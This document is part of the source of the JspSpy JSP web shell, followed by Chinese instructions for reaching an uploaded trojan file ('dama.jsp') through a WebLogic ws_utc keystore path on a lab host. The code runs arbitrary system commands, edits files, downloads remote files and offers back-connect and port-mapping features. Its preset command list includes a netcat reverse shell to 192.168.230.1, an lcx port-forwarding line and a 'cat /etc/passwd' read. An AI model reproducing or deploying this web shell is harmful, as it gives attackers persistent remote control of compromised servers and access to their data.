PrintWriter out = response.getWriter();
String path = request.getParameter("filepath");
File f = new File(path);
if (!f.isAbsolute()) {
String oldPath = path;
path = JSession.getAttribute(CURRENT_DIR).toString();
if (!path.endsWith("/"))
path+="/";
path+=oldPath;
f = new File(path);
f.createNewFile();
} else {
f.createNewFile();
}
out.println(""+
"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"Create / Edit File »"+ ""+ "Current File (import new file name and new file) File Content \" bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> \"bt\" type=\"button\" value=\"Back\" οnclick=\"history.back()\">"+ ""+ " |
"+
"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"Create / Edit File »"+ ""+ "Current File (import new file name and new file) File Content \" bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> \"bt\" type=\"button\" value=\"Back\" οnclick=\"history.back()\">"+ ""+ " |
"+
"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"Set File Property »"+ "Current file (fullpath) Read: " + " \"checkbox\" "+read+" name=\"read\" id=\"checkbox\"> "+ " Write: "+ " \"checkbox\" "+write+" name=\"write\" id=\"checkbox2\"> "+ " Execute: "+ " \"checkbox\" "+execute+" name=\"execute\" id=\"checkbox3\">"+ ""+ "Instead »" + "year:"+ "\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+ "month:"+ "\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+ "day:"+ "\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+ ""+ "hour:"+ "\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+ "minute:"+ "\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+ "second:"+ "\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+ ""+ "\" bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> \"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" οnclick=\"history.back()\">"+ ""+ " |
"+
"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"Execute Program »"+ "" + "\"hidden\" name=\"o\" value=\"shell\">"+ "\"hidden\" name=\"type\" value=\"program\">"+ "Parameter\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+ "\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+ ""+ ""+ "form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+ " Execute Shell »"+ "" + "\"hidden\" name=\"o\" value=\"shell\">"+ "\"hidden\" name=\"type\" value=\"command\">"+ "Parameter\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+ "\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+ ""+ ""+ " | "+
"
"); out.println("
"); String command = request.getParameter("command"); if (!Util.isEmpty(command)) { Process pro = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream())); String s = reader.readLine(); while (s != null) { out.println(Util.htmlEncode(Util.getStr(s))); s = reader.readLine(); } reader.close(); out.println("
"+
"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"Remote File DownLoad »"+ "" + "\"hidden\" name=\"o\" value=\"downRemote\">"+ "Remote File URL:"+ " \"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"70\" />"+ "Save Path:"+ "\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"70\" />"+ "\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+ ""+ " |
\"Bin_H2_Title\">PortMap >>"+ "\"hOWTm\">"+
" "+
"
| "+
"
\"Bin_H2_Title\">Back Connect >>"+ "\"hOWTm\">"+
" "+
"
| "+
"
\"Ninty_H2_Title\">System Properties >>"+ "\"ghaB\">"+
" \" border: 1px solid #ddd;height:0px;\"/>"+ "
\"Ninty_H2_Mac\">System Environment >>\" border: 1px solid #ddd;height:0px;\"/>
| "+
"
| \"float:right;\">\"http://www.baidu.com\" target=\"_blank\">JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+") | "+ "
| \"javascript:doPost({o:'logout'});\">Logout | "+ " \"javascript:doPost({o:'fileList'});\">File Manager | "+ " \"javascript:doPost({o:'vConn'});\">DataBase Manager | "+ " \"javascript:doPost({o:'vs'});\">Execute Command | "+ " \"javascript:doPost({o:'vso'});\">Shell OnLine | "+ " \"javascript:doPost({o:'vbc'});\">Back Connect | "+ " \"javascript:doPost({o:'vPortScan'});;\">Port Scan | "+ " \"javascript:doPost({o:'vd'});\">Download Remote File | "+ " \"javascript:;doPost({o:'clipboard'});\">ClipBoard | "+ " \"javascript:doPost({o:'vRemoteControl'});\">Remote Control | "+ " \"javascript:doPost({o:'vmp'});\">Port Map | "+ " \"javascript:doPost({o:'jspEnv'});\">JSP Env "+ " |
");
out.println("Shell OnLine »"); out.println(""+SHELL_NAME+"\" method=\"post\" target=\"echo\" οnsubmit=\"$('cmd').focus()\">"+ " \"submit\" value=\" start \" class=\"bt\">"+ " \"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\"c:\\windows\\system32\\cmd.exe\"/>"+ " \"hidden\" name=\"o\" value=\"online\"/>\"hidden\" name=\"type\" value=\"start\"/>\"tip\">Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ " "+ " "+ " "+ " "+SHELL_NAME+"\" method=\"post\" οnsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+ " \"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:80%\">"+ " \"o\" id=\"o\" type=\"hidden\" value=\"online\"/>\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+ " $('cmd').value = this.value;$('cmd').focus()\">"+ " \" selected> "+ " uname -a\">uname -a"+ " cat /etc/issue\">issue"+ " cat /etc/passwd\">passwd"+ " netstat -an\">netstat -an"+ " net user\">net user"+ " tasklist\">tasklist"+ " tasklist /svc\">tasklist /svc"+ " net start\">net start"+ " net stop policyagent /yes\">net stop"+ " nbtstat -A IP\">nbtstat -A"+ " "+ " "+ " "+ " nc -e cmd.exe 192.168.230.1 4444\">nc"+ " lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx"+ " systeminfo\">systeminfo"+ " net localgroup\">view groups"+ " net localgroup administrators\">view admins"+ " "+ " \"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+ " \"button\" value=\"Stop\" class=\"bt\" οnclick=\"$('ddtype').value='stop';this.form.submit()\">"+ " "+ " " ); out.println(" | "+
"
"),"left"); bout.close(); out.flush(); ins.get("bottom").invoke(request,response,session); ins.get("after").invoke(request,response,session); } %>
然后我们点击 F12，搜索keystore_table，找到时间戳
我们找到时间戳 1693490044164
然后我们通过URL：http://IP:7001/ws_utc/css/config/keystore/【时间戳】_dama.jsp（密码password）访问木马
所以我们在浏览器构造以下的URL访问木马的地址：
http://192.168.41.132:7001/ws_utc/css/config/keystore/1693490044164_dama.jsp
然后输入密码password访问dama木马
